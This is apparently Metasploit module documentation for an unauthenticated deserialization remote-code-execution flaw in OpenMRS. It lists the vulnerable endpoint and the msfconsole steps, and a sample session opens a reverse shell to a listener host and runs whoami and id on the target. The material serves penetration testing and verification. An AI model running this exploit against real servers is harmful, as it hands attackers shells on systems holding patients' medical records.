70 lines
2.3 KiB
Markdown
70 lines
2.3 KiB
Markdown
## Vulnerable Application
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OpenMRS is an open-source platform that supplies
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users with a customizable medical record system.
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There exists an object deserialization vulnerability
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in the `webservices.rest` module used in OpenMRS Platform
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for versions below `v2.24.0`. Unauthenticated remote code
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execution can be achieved by sending a malicious XML payload
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to a Rest API endpoint such as `/ws/rest/v1/concept`.
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Vulnerable versions of the software can be found [here](https://sourceforge.net/projects/openmrs/files/releases/).
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Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
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8 and Java 9.
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## Verification Steps
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1. Install the application
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2. Start msfconsole
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3. Do: ```use exploit/multi/http/openmrs_deserialization```
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4. Do: ```set TARGETURI <uri>```
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5. Do: ```set RHOSTS <ip>```
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6. Do: ```run```
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7. You should get a shell.
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## Options
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**ForceExploit**
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Overrides the check result and runs the exploit.
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## Scenarios
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### Version of software and OS as applicable
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```
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msf5 > use exploit/multi/http/openmrs_deserialization
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msf5 exploit(multi/http/openmrs_deserialization) > set rhosts 192.168.37.168
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rhosts => 192.168.37.168
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msf5 exploit(multi/http/openmrs_deserialization) > set targeturi /openmrs-standalone
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targeturi => /openmrs-standalone
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msf5 exploit(multi/http/openmrs_deserialization) > set lhost 192.168.37.1
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lhost => 192.168.37.1
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msf5 exploit(multi/http/openmrs_deserialization) > check
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[*] 192.168.37.168:8081 - The target appears to be vulnerable. OpenMRS platform version: 2.1.2
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msf5 exploit(multi/http/openmrs_deserialization) > run
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[*] Started reverse TCP double handler on 192.168.37.1:4444
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[*] Target is running OpenMRS
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[*] Formatting payload
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[*] Sending payload...
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[*] Accepted the first client connection...
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[*] Accepted the second client connection...
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[*] Command: echo wKYK4x9ZOHJ37tm7;
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[*] Writing to socket A
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[*] Writing to socket B
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[*] Reading from sockets...
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[*] Reading from socket B
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[*] B: "wKYK4x9ZOHJ37tm7\r\n"
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[*] Matching...
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[*] A is input...
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[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.168:45048) at 2019-11-21 14:13:09 -0600
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whoami
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space
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id
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uid=1000(space) gid=1000(space) groups=1000(space),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
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```
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